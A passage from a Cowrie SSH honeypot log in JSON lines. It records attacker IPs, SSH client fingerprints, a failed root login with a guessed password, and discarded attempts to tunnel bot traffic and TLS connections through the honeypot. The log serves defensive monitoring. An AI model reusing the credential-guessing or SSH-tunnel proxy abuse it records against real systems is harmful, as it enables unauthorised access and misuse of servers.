FQ5O7sfKNhZNraSHojd79xARyh6ESDgG7dtzZme86d8dycJD68iOn9w0HZvdpLiiDPjtYXSFSpXpDJBSe9ErdwVctvlpM5pwY%2FO5WMo56bguQLqEV7d%2FvqIkIuk9Mx2ADedBuXH93X5mHJJoUlJntcv6APA%2FTH6Jtv7XqZT1VOiwiuWg%2F7n0xgyjpujCMr5VXN0Rr2mHs1fWJfES%2FG7R35Z8u2mzyIWFQb%2BipLRz%2F2gjUGs5KRs6rMP%2FhjBkauu%2FFljKvmHiB6ElxalW7oTCMF9PKLz1rZ5F8aTF85qimAPNchsbN7UKqIzBDnEUID%2BtgQohbpPboQQoSKPmb9fWoVENWa9T8HMDrFdOIIX9Hz01VCWyhJ1tOFsNKahWFZjryTX97IDwwER6SytDUZLC9SbxMKtaQojd5qMz'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPad; CPU OS 12_5_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.5.4 Mobile/16H50 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1176\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=c2Qvaik%2BcW5zZHZIM1RoWA%3D%3DTJMBgA0Bq%2B8RCMQdn9eL50U0eTGttSFATelCRdlOKr52w0cbGKRas2fowUI8O8xn2avO8FtVrIy6nd8SduKJRoFHg8FnZHlDnNmn2zFgo86s1A6K1DSYfxcyC8jABg4sWLYORRemAsdgUSjJEegu88XOPFhBiFGvD%2BzbgW%2ByfFuK7AGJVt4rlfJcLjH7qFU7b%2Fxj4qKXwII35a7kRcsh1bU%2BDTMJqUcVi6mtPuzoZszMUwP9zl0%2B%2FDICVZhoyU6YJnEjJEQoEcWHV9Z3PNd%2BXbyRGiMdQrmdV3PKMmmw6XGh2d9ZwHABmzRmbcpz8OJs3loeHf9ThNbac2s907H8S920Hw7lRaiJowP84AZzSGYS%2BoXT3YdZCn28PrGN32p5LUZ9uR7B6o2QaiBJP2QAajJcyvPCqacCyCojLqBOzJ4Up2kdpKLxYxDhrMIr9ZY4DLq8FsmG1dekjA%2B5R8u3zYOV4U6tdGjID8q%2B93UWPtQflYmMYFs%2BTf4lfCP5RXOTdfTY%2Fl1oNAkMRALlgm1hwWhncVEnzSGcmPSG7EKpYRnI3CI%2Bnoncu5acfvf9vryXaFkjSq1hLqrHemYIksiIFPUkylYX8rStcYKPK1etdAlyD%2FWNv%2F08nntrvGVgHj56UXl0O%2FL%2FO0on6qDo9QoTl6Zq3I2hFQ5O7sfKNhZNraSHojd79xARyh6ESDgG7dtzZme86d8dycJD68iOn9w0HZvdpLiiDPjtYXSFSpXpDJBSe9ErdwVctvlpM5pwY%2FO5WMo56bguQLqEV7d%2FvqIkIuk9Mx2ADedBuXH93X5mHJJoUlJntcv6APA%2FTH6Jtv7XqZT1VOiwiuWg%2F7n0xgyjpujCMr5VXN0Rr2mHs1fWJfES%2FG7R35Z8u2mzyIWFQb%2BipLRz%2F2gjUGs5KRs6rMP%2FhjBkauu%2FFljKvmHiB6ElxalW7oTCMF9PKLz1rZ5F8aTF85qimAPNchsbN7UKqIzBDnEUID%2BtgQohbpPboQQoSKPmb9fWoVENWa9T8HMDrFdOIIX9Hz01VCWyhJ1tOFsNKahWFZjryTX97IDwwER6SytDUZLC9SbxMKtaQojd5qMz'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:27.054585Z","src_ip":"38.46.222.137","session":"7acb2b0f199c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:27.330570Z","session":"7acb2b0f199c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:27.390841Z","src_ip":"38.46.222.137","session":"7acb2b0f199c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaf\\xff\\xd90\\xf0\\xd8\\xce\\x8f-d\\xc2\\xcb(\\x9e\\x89s\\xceG\\xd4\\xbe\\x01\\xd4\\x16\\xecR\\tp\\xa6\\xc0\\x9by\\xe3 \\xb7\\xd5\\xbd\\xd7-\\xeaB\\x9awu\\xc9_\\x93\\x84\\x94\\x8e\\xf39\\x95_!q\\xaf\\x1d\\xf4\\x8deR(&L;\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf4>\\xaa\"\\xeb\\xfd\\xc9\\xef#\\xb5|\\x08\\xcd\\x17\\x91\\x11\\xa2\\xc0\\xb3Ch\\xda\\xe1Q\\xe65\\xd5\\x1b~\\x86L>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xaf\\xff\\xd90\\xf0\\xd8\\xce\\x8f-d\\xc2\\xcb(\\x9e\\x89s\\xceG\\xd4\\xbe\\x01\\xd4\\x16\\xecR\\tp\\xa6\\xc0\\x9by\\xe3 \\xb7\\xd5\\xbd\\xd7-\\xeaB\\x9awu\\xc9_\\x93\\x84\\x94\\x8e\\xf39\\x95_!q\\xaf\\x1d\\xf4\\x8deR(&L;\\x00 \\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\x8a\\x8a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\xf4>\\xaa\"\\xeb\\xfd\\xc9\\xef#\\xb5|\\x08\\xcd\\x17\\x91\\x11\\xa2\\xc0\\xb3Ch\\xda\\xe1Q\\xe65\\xd5\\x1b~\\x86L>\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:27.393962Z","src_ip":"38.46.222.137","session":"7acb2b0f199c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"38.46.222.137","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:27.513868Z","session":"7acb2b0f199c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:27.570585Z","src_ip":"38.46.222.137","session":"7acb2b0f199c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8f\\x077\\xb8\\x0b;\\xadv\\x9e<AA\\x00\\xa6Q]A@\\xcfb\\x0c\\xa4}\\xfb\\x93\\xda\\x87\\xcd-\\\\\\x84\\x03 \\x00qVw\\xbd\\xf5L\\x19\\xcc1\\x9cQ\\xec\\xe3\\x899\\x9d\\x9d\\xdd.\\xf3\\xffFK\\xec;\\xe09\\xedn\\xaci\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 ?w\\xe2\\xc9\\x9e~T\\xe4\\xd2g=\\xf9\\x04\\\\i\\xd1\\xeart\\x88~dEj\\xb9\\xd4\\xe7\\xb8\\\\W\\xb7p\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8f\\x077\\xb8\\x0b;\\xadv\\x9e<AA\\x00\\xa6Q]A@\\xcfb\\x0c\\xa4}\\xfb\\x93\\xda\\x87\\xcd-\\\\\\x84\\x03 \\x00qVw\\xbd\\xf5L\\x19\\xcc1\\x9cQ\\xec\\xe3\\x899\\x9d\\x9d\\xdd.\\xf3\\xffFK\\xec;\\xe09\\xedn\\xaci\\x00\"\\n\\n\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\x9a\\x9a\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\x9a\\x9a\\x00\\x01\\x00\\x00\\x1d\\x00 ?w\\xe2\\xc9\\x9e~T\\xe4\\xd2g=\\xf9\\x04\\\\i\\xd1\\xeart\\x88~dEj\\xb9\\xd4\\xe7\\xb8\\\\W\\xb7p\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:27.573366Z","src_ip":"38.46.222.137","session":"7acb2b0f199c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:31.682490Z","src_ip":"38.46.222.137","session":"7acb2b0f199c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:32.500411Z","src_ip":"14.103.113.53","session":"c4dc20cb2899","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":42822,"dst_ip":"159.203.135.109","dst_port":22,"session":"e152ba7936c7","protocol":"ssh","message":"New connection: 103.82.132.16:42822 (159.203.135.109:22) [session: e152ba7936c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:32.641999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:32.646012Z","src_ip":"103.82.132.16","session":"e152ba7936c7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.157","src_port":49462,"dst_ip":"10.17.0.5","dst_port":22,"session":"67b000f0ccc7","protocol":"ssh","message":"New connection: 45.148.10.157:49462 (10.17.0.5:22) [session: 67b000f0ccc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:32.725862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:32.730832Z","src_ip":"45.148.10.157","session":"67b000f0ccc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:32.822873Z","src_ip":"45.148.10.157","session":"67b000f0ccc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:32.897553Z","src_ip":"103.82.132.16","session":"e152ba7936c7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:33.225923Z","src_ip":"45.148.10.157","session":"67b000f0ccc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"173.208.192.194","src_port":51212,"dst_ip":"10.17.0.5","dst_port":22,"session":"1c9b42a5184b","protocol":"ssh","message":"New connection: 173.208.192.194:51212 (10.17.0.5:22) [session: 1c9b42a5184b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:33.590913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:33.595477Z","src_ip":"173.208.192.194","session":"1c9b42a5184b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"04091988","message":"login attempt [root/04091988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T22:08:33.669928Z","src_ip":"103.82.132.16","session":"e152ba7936c7","protocol":"ssh"}
